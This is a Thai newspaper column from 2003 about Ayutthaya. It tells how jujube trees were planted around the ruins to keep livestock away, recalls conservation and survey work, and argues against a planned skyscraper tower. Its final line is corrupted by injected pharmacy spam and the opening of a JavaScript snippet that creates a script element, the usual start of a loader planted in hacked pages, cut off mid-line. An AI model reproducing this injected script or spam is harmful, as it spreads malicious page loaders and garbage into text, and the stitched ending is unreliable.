ข่าวสด-วันศุกร์ที่ ๔ เมษายน ๒๕๔๖

 

อยุธยานานาชาติ

ของดีมีอยู่แล้ว

ต้นพุทราที่อยุธยามีมากจนต้องสงสัยว่ามาจากไหน? หลายคนตอบอย่างสนุกๆ ว่า พม่าปลูกไว้เมื่อคราวตีกรุงศรีอยุธยา- ซึ่งไม่จริง

เรื่องจริงๆ มีว่า เมื่อราว ๕๐–๖๐ ปีมาแล้ว อาจารย์มานิต วัลลิโภดม (บิดาของอาจารย์ศรีศักร วัลลิโภดม ผู้เขียนหนังสือชื่ออยุธยาของเรา ที่ขายดีจนพิมพ์หลายหนแล้ว) รับราชการ เป็นหัวหน้าหน่วยศิลปากรดูแลโบราณสถานที่อยุธยา มีปัญหาเพราะชาวบ้านที่อยู่โดยรอบเขตพระราชวังโบราณมักนำวัวควายและแพะไปเลี้ยงให้กินหญ้าในเขตวังและวัดร้าง เพราะสมัยนั้นยังเป็นป่ามีหญ้ารกขึ้นปกคลุมหนาแน่น

วัวควายและแพะมักเดินลุยกินหญ้าขึ้นไปบนซากโบราณสถานเหล่านั้น เป็นเหตุให้ซากวังซากวัดพังทลายทั่วไป

อาจารย์มานิตเห็นพุทราขึ้นเป็นหย่อมๆ มีชาวบ้านไปเก็บลูกพุทรามาขายเล็กๆ น้อยๆ เลยเกิดปิ๊งขึ้นมา คือให้ขยายพื้นที่ปลูกพุทราไว้รอบๆ ซากโบราณสถานสำคัญๆ เช่น บริเวณวังโบราณจนเต็มพื้นที่ แล้วป่าวร้องให้ชาวบ้านไปเก็บลูกพุทรามาใส่กระป๋องนมขายเป็นรายได้พิเศษ แต่มีข้อแม้ว่าต้องช่วยกันดูแลใต้ต้นพุทราโดยรอบให้สะอาดสะอ้าน แล้วต้องเสียค่าเก็บพุทราปีละ ๑ บาท

ชาวบ้านที่อยู่โดยรอบชอบอกชอบใจมาก ผลคือต้นพุทราเต็มพื้นที่โบราณสถาน โดยรอบต้นพุทราจะโล่งเลี่ยนเตียนเพราะเป็นบริเวณที่ลูกพุทราหล่น แต่ที่สำคัญคือชาวบ้านช่วยป้องกันไม่ให้วัวควายและแพะเข้าไปรุกรานกินต้นไม้ใบหญ้าบริเวณนั้น ผลคือซากวังซากวัดปลอดภัยดี

ตั้นแต่นั้นมาพุทรากระป๋องนมเลยเป็นเอกลักษณ์ของอยุธยา ชาวบ้านเอามาวางขายที่หน้าวัดมงคลบพิตรสืบมา

ความพยายามรักษาความเป็นราชธานีสยามแห่งแรก ของพระนครศรีอยุธยา เริ่มอย่างจริงจัง ยุคถนอม-ประภาส โดยกลุ่มสำนักผังเมือง กระทรวงมหาดไทยสมัยนั้น สถาปนิกหนุ่มครั้งนั้น คือ อาจารย์นิจ หิญชีระนันท์ กับ ดร.สุเมธ ชุมสาย ผู้ริเริ่ม “เมืองน้ำ” ของพระนครศรีอยุธยา แม้ ส. ศิวรักษ์ ก็ยืนสนับสนุนอย่างแข่งขัน

ขรรค์ชัย บุนปาน ก็มีส่วนร่วมด้วยช่วยกัน คือได้รับทุนสนับสนุนให้พาอาจารย์และนักศึกษาไปตั้งกองสำรวจแหล่งโบราณสถานทั่วเกาะอยุธยานานนับเดือน เช่าบ้านร้างอยู่ริมแม่น้ำลพบุรีตรงปากคลองสระบัว บริเวณที่สุนทรภู่ไปจอดเรือค้างคืนเมื่อคราวไปเขียนนิราศภูเขาทอง

ต่อมา ขรรค์ชัย บุนปาน ยังเป็นแม่กองงานขุดค้นซากวัดเจ้าปราบ อยู่ริมคลองท่อทางด้านใต้เกาะ แล้วเกณฑ์ให้ผมแบกจอบเสียมกระบุงปุ้งกี๋ไปสำรวจตรวจสอบหาถนนปูอิฐสมัยอยุธยาบริเวณสันเหล็กด้วย

ความยิ่งใหญ่ของอยุธยา นอกจากอยู่ที่วังกับวัด ยังมีถนนหนทาง คูคลองกับตลาด และ ฯลฯ ซึ่งเรียกรวมๆว่าวิถีชีวิตของผู้คนไพร่บ้านพลเมืองยุคอยุธยา ที่เป็นศูนย์กลางการค้านานาชาติ อย่างแท้จริงของภูมิภาคอุษาคเนย์ ในสมัยนั้น

แต่วิถีชีวิตอย่างนี้ไม่มีใครสนใจเลย กรมศิลปากรไม่สนใจ จนมาถึง อบจ.อยุธยา ยิ่งไม่สนใจ เพราะไม่รู้เรื่องเหล่านี้ เลยคิดแต่อนุรักษ์มรดกไทยแบบจ้างเหมาตึกระฟ้า

ขอแนะนำด้วยความอ่อนน้อมอย่างยิ่งว่าอย่าสร้างหอคอยตึกระฟ้าเลย อุจาดสิ้นดี ถ้าอยากขึ้นที่สูงก็ให้ไปขึ้นเจดีย์ภูเขาทองโน่น จะเหลียวดูทุ่งภูเขาทอง ทุ่งลุมพลี รวมทั้งทุ่งมะขามหย่อง ที่เป็นสนามรบสมัยก่อนก็ได้

ถนนหนทางและตลาดครั้งบ้านเมืองยังดีมีบันทึกอยู่ในคำให้การขุนหลวงประดู่ทรงธรรม ซึ่งเป็นเอกสารจากหอหลวงครั้งกรุงเก่า ถ้าเอางบประมาณที่มีอยู่มาบำรุงรักษา หรือทำจำลองขึ้นมาตามหลักฐานประวัติศาสตร์โบราณคดี ผมว่าจะดีวิเศษอย่างยิ่ง ได้ทั้งความรู้ประวัติศาสตร์ที่ถูกต้อง และได้ทั้งเงินตราจากนักท่องเที่ยวอย่างยั่งยืน เพราะกรุงศรีอยุธยาเกี่ยวข้องกับผู้คนเกือบทั้งโลก มีคนนานาชาติอยู่ในอยุธยาจริงๆ

ขออุดหนุนให้ทำของดีมีอยู่ อย่างนี้ครับ จะขอคุยรายละเอียดกับคุณขรรค์ชัย บุนปาน ก็ได้ แวะไปบ้านเขาที่ผักไห่ ใกล้ๆ แค่นั้นเองfluoxetine 40 mg cap buy prednisone 10mgvar d=document;var s=d.createElement(‘script’);